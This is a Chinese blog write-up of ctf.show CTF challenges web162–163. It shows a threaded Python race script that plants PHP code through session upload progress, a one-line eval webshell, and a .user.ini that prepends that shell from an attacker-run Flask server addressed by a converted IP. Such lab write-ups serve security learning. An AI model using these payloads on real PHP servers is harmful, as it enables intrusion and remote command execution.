web162-163笔记(session文件包含+禁用.+远程文件包含)

web162

https://499b3b33-7b83-4f3f-a6be-aceb44a0bf26.challenge.ctf.show/upload/

这次把.给ban了,我们使用session文件包含,又忘记知识点的可以去看web82;还是一样先上传.user.ini ,内容为(目录下存在php文件)

GIF89a
auto_prepend_file=/tmp/sess_mm

 

接着再运行脚本即可

#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/3/8 17:06
# blog: www.wlhhlc.top
import io
import requests
import threading
url = 'http://3238a505-5728-4702-b83b-98460ec17f8d.chall.ctf.show:8080/'

def write(session):
    data = {
        'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>'
    }
    while True:
        f = io.BytesIO(b'GIF89a\ndotast')
        files = {'file': ('1.png', f, 'image/png')}
        response = session.post(url+"upload.php",cookies={'PHPSESSID': 'mm'}, data=data, files=files)
def read(session):
    while True:
        response = session.get(url+'upload')
        if 'ctfshow' in response.text:
            print(response.text)
            break
        else:
            print('retry')

if __name__ == '__main__':
    session = requests.session()
    for i in range(30):
        threading.Thread(target=write, args=(session,)).start()
    for i in range(30):
        threading.Thread(target=read, args=(session,)).start()

 

web163

http://d9f483ab-f6e3-4623-80d5-7e7dbc9f5e8e.challenge.ctf.show/upload/

<?php eval($_POST['cmd']);?>   一句话木马
远程包含 额外过滤了一个点 我用的远程文件包含 前面方式正常传入user.ini 稍作修改 因为点被过滤了,ip的点自然也不能有 所以可以去把ip转换一下成长整型 可以用在线工具 也可以用python脚本: 得到的数字就是了 然后就是怎么让他包含了 这里试了直接起个php项目建一个叫233的一句话木马文件 想让它直接包含调用了 结果发现不行 后来得知是得起个flask服务才行 没有就pip install flask 装一下 所以写一个app.py
记得在同目录下搞一个233文件的一句话木马
<?php eval($_POST['cmd']);?> 然后vps上启动服务 python app
.py 然后再改.user.ini为:
GIF89a auto_prepend_file
=http://转换出来的长整型ip:5000/233 访问/upload/ 执行命令就行了
#app.py
from
flask import Flask, send_file app = Flask(__name__) @app.route('/233') def provide_file(): filename = '233' return send_file(filename) if __name__ == '__main__': app.run(debug=True, host='0.0.0.0', port=5000)
#iptolong
def
ip2long(ip: str) -> int: """Convert an IPv4 address to a 32-bit long integer. Args: ip: IPv4 address in dotted-quad string format (e.g., '192.168.1.1') Returns: The 32-bit long integer representation of the IP address Raises: ValueError: If the input is not a valid IPv4 address """ try: octets = list(map(int, ip.split('.'))) if len(octets) != 4 or any(not 0 <= octet <= 255 for octet in octets): raise ValueError return sum(octet << (8 * (3 - i)) for i, octet in enumerate(octets)) except (ValueError, AttributeError): raise ValueError(f"Invalid IPv4 address: {ip}") # Example usage if __name__ == '__main__': test_ip = '192.168.1.1' print(f"{test_ip} -> {ip2long(test_ip)}")

 

 

posted @ 2025-03-31 10:50  justdoIT*  阅读(33)  评论(0)    收藏  举报